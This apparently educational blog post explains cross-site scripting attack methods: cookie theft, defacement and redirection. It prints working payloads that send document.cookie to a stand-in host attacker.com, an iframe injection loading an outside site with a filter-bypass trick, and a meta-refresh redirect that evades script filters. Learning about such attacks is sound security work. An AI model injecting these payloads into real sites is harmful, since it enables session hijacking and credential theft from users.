Cross-Site Scripting (User Agent Injection) Attack Methods

Filed under Uncategorized

User Agent Injection are those attacks where malicious, client-side executable code is being injected, which means malformed request parameters are passed to the web application.The input will then be processed by the server and stored on the web server to return it to a victim at a later time or to the attacker to take immediate effect. When the victim requests the stored code from the server, it will be executed on the client-side. JavaScript is by far the most frequently used scripting language for user agent injection,but almost always in conjunction with HTML.
 

Cookie theft

The user receives a cookie, a 32-byte number in Rails, after the login process to identify him insubsequent requests. Consequently, stealing cookies is a severe problem for web applications,and it is by far the most frequent goal of Cross-Site Scripting (XSS) attacks. In JavaScript you can use the document.cookie variable to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one origin cannot access properties of a document of another origin. However, you can access it if you embed the code directly in the HTML document. The following is an example of an injection that displays your cookie in the output of your web application:

 
<script>document.write(document.cookie);</script>

As this will present the cookie to the victim, it is not useful for an attacker, so he will use a method which will list the cookies in an attacker's web server access log. The following loads a non-existantimage from an URL like http://www.attacker.com/ plus the cookie:
 
<script>document.write('<img xsrc="http://www.attacker.com/' +
document.cookie + '">');</script>

 

Or without the <script> tag; loads it when the victim's mouse moves over the text:

<b onMouseOver="self.location.href='http://www.attacker.com/' +
document.cookie">bolded text</b>

Or the reflected variant in an URL; redirects the victim:

http://www.domain.com/account?name=<script>document.
location.replace('http://www.attacker.com/'+
document.cookie);</script>

Defacement

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. He does that by injecting malicious HTML/JavaScript code into a parameter which will presented to the user(s), such as a comment feature or a message board. If there is no filter at all, it will be straightforward for the attacker to study the internals of the HTML source code to construct a page which contains links and forms that point to a different web site.

 

This is an example of a refelcted defacement in an URL. It will display a different web site (from x4u.at.hm in this case) as part of the original one if the username parameter is not filtered and will be redisplayed. The URL deliberately does not contain http to bypass possible filters.
 
http://www.website.com/login?username=<iframe xsrc=//x4u.at.hm/>

Redirection

Another way to get sensitive data from the user is toredirect the victim on a fraudulent web site which looks and behaves exactly as the original one. If the victim enters data, the fraudulent web site will log it and send it to the original web site. The following two examples can be used to redirect the victim when the containing site is loaded:
 
<!– redirect to the given URL which sends the cookie to an attacker–>
<script>document.location.replace('http://www.attacker.com/'+
document.cookie);</script>

<!– redirect after 0 seconds to the given URL
bypasses filters for <script> –>
<meta http-equiv="refresh" content="0; URL=http://www.attacker.com/">

to be continued…